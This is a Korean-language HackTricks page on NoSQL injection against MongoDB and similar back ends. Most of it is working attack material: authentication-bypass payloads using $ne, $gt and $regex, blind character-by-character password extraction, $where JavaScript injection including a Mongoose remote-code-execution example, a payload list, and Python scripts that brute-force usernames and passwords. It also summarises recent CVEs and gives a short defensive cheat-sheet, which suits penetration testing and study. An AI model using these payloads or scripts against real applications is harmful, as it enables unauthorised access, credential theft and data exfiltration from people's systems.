NoSQL injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Exploit

PHP์—์„œ๋Š” _parameter=foo_์—์„œ _parameter[arrName]=foo_๋กœ ์ „์†ก๋œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ๋ฐฐ์—ด์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡์€ ์—ฐ์‚ฐ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐ ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

๊ธฐ๋ณธ ์ธ์ฆ ์šฐํšŒ

๊ฐ™์ง€ ์•Š์Œ ($ne) ๋˜๋Š” ํผ ($gt) ์‚ฌ์šฉ

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

๊ณต๊ฒฉ์ž๋Š” admin' || 'a'=='a์™€ ๊ฐ™์€ ๋ฌธ์ž์—ด์„ ์ž…๋ ฅํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ฟผ๋ฆฌ๊ฐ€ ์ž๋ช…ํ•œ ์กฐ๊ฑด('a'=='a')์„ ๋งŒ์กฑ์‹œ์ผœ ๋ชจ๋“  ๋ฌธ์„œ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค. ์ด๋Š” ' or 1=1-- -์™€ ๊ฐ™์€ ์ž…๋ ฅ์„ ์‚ฌ์šฉํ•˜์—ฌ SQL ์ฟผ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•˜๋Š” SQL ์ธ์ ์…˜ ๊ณต๊ฒฉ๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. MongoDB์—์„œ๋Š” ' || 1==1//, ' || 1==1%00, ๋˜๋Š” admin' || 'a'=='a์™€ ๊ฐ™์€ ์ž…๋ ฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ์œ ์‚ฌํ•œ ์ธ์ ์…˜์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

๊ธธ์ด ์ •๋ณด ์ถ”์ถœ

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

๋ฐ์ดํ„ฐ ์ •๋ณด ์ถ”์ถœ

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP ์ž„์˜ ํ•จ์ˆ˜ ์‹คํ–‰

๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” MongoLite ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ $func ์—ฐ์‚ฐ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด ๋ณด๊ณ ์„œ์™€ ๊ฐ™์ด ์ž„์˜์˜ ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

๋‹ค๋ฅธ ์ปฌ๋ ‰์…˜์—์„œ ์ •๋ณด ๊ฐ€์ ธ์˜ค๊ธฐ

$lookup์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ์ปฌ๋ ‰์…˜์—์„œ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” **users**๋ผ๋Š” ๋‹ค๋ฅธ ์ปฌ๋ ‰์…˜์—์„œ ์ฝ๊ณ , ์™€์ผ๋“œ์นด๋“œ์™€ ์ผ์น˜ํ•˜๋Š” ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๊ฐ€์ง„ ๋ชจ๋“  ํ•ญ๋ชฉ์˜ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

์ฐธ๊ณ : $lookup ๋ฐ ๊ธฐํƒ€ ์ง‘๊ณ„ ํ•จ์ˆ˜๋Š” find() ๋˜๋Š” findOne() ํ•จ์ˆ˜ ๋Œ€์‹  aggregate() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๊ฒ€์ƒ‰์„ ์ˆ˜ํ–‰ํ•œ ๊ฒฝ์šฐ์—๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

throw new Error(JSON.stringify(this))๋ฅผ $where ์ ˆ์— ์ฃผ์ž…ํ•˜์—ฌ ์„œ๋ฒ„ ์ธก JavaScript ์˜ค๋ฅ˜๋ฅผ ํ†ตํ•ด ์ „์ฒด ๋ฌธ์„œ๋ฅผ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค(์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์˜ค๋ฅ˜๋ฅผ ์œ ์ถœํ•ด์•ผ ํ•จ). ์˜ˆ:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Recent CVEs & Real-World Exploits (2023-2025)

Rocket.Chat ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ธ”๋ผ์ธ๋“œ NoSQLi โ€“ CVE-2023-28359

๋ฒ„์ „ โ‰ค 6.0.0์€ ์‚ฌ์šฉ์ž ์ œ์–ด selector ๊ฐ์ฒด๋ฅผ find()์— ์ง์ ‘ ์ „๋‹ฌํ•˜๋Š” Meteor ๋ฉ”์„œ๋“œ listEmojiCustom์„ ๋…ธ์ถœํ–ˆ์Šต๋‹ˆ๋‹ค. {"$where":"sleep(2000)||true"}์™€ ๊ฐ™์€ ์—ฐ์‚ฐ์ž๋ฅผ ์ฃผ์ž…ํ•จ์œผ๋กœ์จ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๊ณต๊ฒฉ์ž๋Š” ํƒ€์ด๋ฐ ์˜ค๋ผํด์„ ๊ตฌ์ถ•ํ•˜๊ณ  ๋ฌธ์„œ๋ฅผ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฒ„๊ทธ๋Š” 6.0.1์—์„œ selector ํ˜•ํƒœ๋ฅผ ๊ฒ€์ฆํ•˜๊ณ  ์œ„ํ—˜ํ•œ ์—ฐ์‚ฐ์ž๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ ํŒจ์น˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Mongoose populate().match $where RCE โ€“ CVE-2024-53900 & CVE-2025-23061

populate()๊ฐ€ match ์˜ต์…˜๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ๋•Œ, Mongoose (โ‰ค 8.8.2)๋Š” MongoDB์— ์ „์†กํ•˜๊ธฐ ์ „์— ๊ฐ์ฒด๋ฅผ ๊ทธ๋Œ€๋กœ ๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ $where๋ฅผ ์ œ๊ณตํ•˜๋ฉด ์„œ๋ฒ„ ์ธก JS๊ฐ€ MongoDB์—์„œ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด๋„ JavaScript๊ฐ€ Node.js ๋‚ด๋ถ€์—์„œ ์‹คํ–‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author });   // RCE

์ฒซ ๋ฒˆ์งธ ํŒจ์น˜(8.8.3)๋Š” ์ตœ์ƒ์œ„ $where๋ฅผ ์ฐจ๋‹จํ–ˆ์ง€๋งŒ, $or ์•„๋ž˜์— ์ค‘์ฒฉ์‹œํ‚ค๋ฉด ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์–ด CVE-2025-23061๋กœ ์ด์–ด์กŒ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ๋Š” 8.9.5์—์„œ ์™„์ „ํžˆ ์ˆ˜์ •๋˜์—ˆ๊ณ , ์ƒˆ๋กœ์šด ์—ฐ๊ฒฐ ์˜ต์…˜ sanitizeFilter: true๊ฐ€ ๋„์ž…๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

GraphQL โ†’ Mongo ํ•„ํ„ฐ ํ˜ผ๋ž€

args.filter๋ฅผ collection.find()์— ์ง์ ‘ ์ „๋‹ฌํ•˜๋Š” ๋ฆฌ์กธ๋ฒ„๋Š” ์—ฌ์ „ํžˆ ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Mitigations: $๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๋ฅผ ์žฌ๊ท€์ ์œผ๋กœ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜, ํ—ˆ์šฉ๋œ ์—ฐ์‚ฐ์ž๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ๋งคํ•‘ํ•˜๊ฑฐ๋‚˜, ์Šคํ‚ค๋งˆ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(Joi, Zod)๋กœ ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค.

Defensive Cheat-Sheet (updated 2025)

  1. $๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ‚ค๋Š” ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๊ฑฐ๋ถ€ํ•ฉ๋‹ˆ๋‹ค (express-mongo-sanitize, mongo-sanitize, Mongoose sanitizeFilter:true).
  2. ์ž์ฒด ํ˜ธ์ŠคํŒ…๋œ MongoDB์—์„œ ์„œ๋ฒ„ ์ธก JavaScript๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค (--noscripting, v7.0+์—์„œ ๊ธฐ๋ณธ๊ฐ’).
  3. $where ๋Œ€์‹  $expr ๋ฐ ์ง‘๊ณ„ ๋นŒ๋”๋ฅผ ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค.
  4. ๋ฐ์ดํ„ฐ ์œ ํ˜•์„ ์กฐ๊ธฐ์— ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค (Joi/Ajv) ๋ฐ ์Šค์นผ๋ผ๊ฐ€ ์˜ˆ์ƒ๋˜๋Š” ๊ณณ์—์„œ ๋ฐฐ์—ด์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์•„ [$ne] ํŠธ๋ฆญ์„ ํ”ผํ•ฉ๋‹ˆ๋‹ค.
  5. GraphQL์˜ ๊ฒฝ์šฐ, ํ—ˆ์šฉ ๋ชฉ๋ก์„ ํ†ตํ•ด ํ•„ํ„ฐ ์ธ์ˆ˜๋ฅผ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค; ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฐ์ฒด๋ฅผ ์ ˆ๋Œ€ ์ „ํŒŒํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค.

MongoDB Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

๋ธ”๋ผ์ธ๋“œ NoSQL ์Šคํฌ๋ฆฝํŠธ

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

POST ๋กœ๊ทธ์ธ์—์„œ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ์— ๋Œ€ํ•œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๋กœ๊ทธ์ธ

์ด๊ฒƒ์€ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฐ„๋‹จํ•œ ์Šคํฌ๋ฆฝํŠธ์ด์ง€๋งŒ ์ด์ „ ๋„๊ตฌ๋“ค๋„ ์ด ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

๋„๊ตฌ

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ